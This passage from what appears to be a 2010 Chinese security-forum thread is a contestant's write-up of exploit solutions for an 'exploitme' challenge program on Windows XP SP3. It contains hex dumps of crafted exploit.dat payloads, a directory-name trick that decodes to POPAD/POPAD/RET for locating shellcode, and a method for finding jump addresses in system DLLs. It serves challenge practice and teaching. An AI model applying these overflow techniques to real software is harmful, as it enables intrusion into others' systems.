00000010h: 00 00 00 00 00 00 00 00 CE 11 40 00 00 00 00 00 ; ........?@.....
                                  ;这儿是API
00000020h: 00 0B 02 00 6C 60 40 00 00 00 00 00 00 00 00 00 ; ....l`@.........
           ;这儿是环境块中的命令行参数,后面的是全局变量中的ExploitMe串
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85                                           ; \

目录名我们弄成:
C:\aaaa面aaaaaaaaaaaaaaaaaaaaaaaa1234

执行程序的时候我们这样执行

C:\aaaa面aaaaaaaaaaaaaaaaaaaaaaaa1234>exploitme Exploit success

分析:
5C85是什么意思,前面已经说了不多说.
目录名为c:\aaaa面...................
反汇编出来就是
001B:00408574  43                  INC       EBX
001B:00408575  3A5C6161            CMP       BL,[ECX+61]
               61                  POPAD
               61                  POPAD
               C3                  RET
               XXXXX

也就是说c:\后面的aa是NOP LIKE指令,同时cmp bl,[ecx+61],因为ECX总是在0012XXXX或是0013XXXX
反正是栈里,所以这儿是不会出错的.
关键是后面的aa面也就是popad,popad,ret指令
这儿是用来定位SHELLCODE的.

然后EXPLOIT.DAT中的00020B00有必要说一下:因为这儿有两个00,主要是我在目录名后面补了一长串
aaaaaaa....,这样肯定是可以让指向环境变量中的Exploit success的地址中有两个00的.

当然EXP4,有一个不稳定的地方也就是00020b00的使用,因为这儿是用了不稳定的硬编码所以有些机器
上不行.

7.思路3的EXP5说明:
前面已经分析过思路3了,总之思路3就必须是所以东东都在exploit.dat中我的如下:

00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 CE 11 40 00 00 00 00 00 ; ........?@.....
00000020h: A4 FC 13 00 6C 60 40 00 00 00 00 00 45 00 78 00 ; ..l`@.....E.x.
00000030h: 70 00 6C 00 6F 00 69 00 74 00 20 00 73 00 75 00 ; p.l.o.i.t. .s.u.
00000040h: 63 00 63 00 65 00 73 00 73 00 00 00 00 00 00 00 ; c.c.e.s.s.......
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 61 61 C3 00 ; ............aa?
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 E4 FC 13 00 ; ............潼..
00000080h: F4 FC 13 00                                     ; 酎..

个人认为这种思路没啥好分析的,分值也不会差好大(26-33字节).至于通用性由于
有三处用了0013xxxx,而有些机器上这儿总是0012xxxx,所以通用性不会太好.

最后总结:
关于通用性,我想如果是用栈中的硬编码地址比如0012XXXX或是0013XXXX都不会太好,但
是象004011CE或是0040606C,因为这个程序比较简单应该是非常通用的,如果是实际应用
用0040XXXX的地址应该说是分EXE版本.

另外我的思路3,目前是33字节还可以再少吗,我想可以少的地方只能是在6CH,7CH,80H这三
个地方也就是跳转地构造和SC的定位的巧妙上.
所以用思路3的非0字节长度应该这样来算:
15字节的字串+3字节API+6字节字串地址=24
然后最起码要2个字节的跳转,所以思路3最少是26字节!
少于26字节的可以肯定是用了思路2或是1.
另外通用性上只要是用思路3,你字串(Exploit success)的定位一般来说是0013XXXX来定位,所以都谈不上通不通用了.

真正有通用的办法吗:
除开思路2,其实是有的,至少相对来说,我的分析如下:
首先在内存中找到能定位到栈中EXPLOIT.DAT数据的指令,比如我用的总是POPAD,POPAD,RET
假设这个指令为6161c3,那么在内存中搜到后,比如为KERNEL32.DLL的代码节,我们设为77112233
然后再在内存中可读的区域找77112233,找到后假设这个地址为78112233那么80H处我们就可以
设为78112233那么在CALL [EDX]就是call [78112233]也就是call 77112233,那么就直接跳到
POPAD,POPAD,RET了,RET后就定位到SC了.
然后在SC中用我前面用的push 00xx00xx的方法来构造Exploit success,这样引用的时候就非常的通用!!不过这种方法也有个问题虽然题目录

中说了是XP SP3但还是有补丁的问题.

关于分数:
我一共做了6个版本,望改题者多多考虑,因为我是看到评分标准中明确说了:
题目可能存在多种不同解法,答出多种解法者,根据答案优劣,酌情加分
还有
如题目挑战失败,但提供了解题思路及分析过程,也可酌情得分

我要得100分!
雪    币: 411
活跃值: (247)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
blackwhite 1 2010-10-20 01:03
3
0
栈地址分别为0012xxxx和0013xxxx的两个dat文件,非零字节32字节!!
上传的附件:
游客
登录 | 注册 方可回帖
返回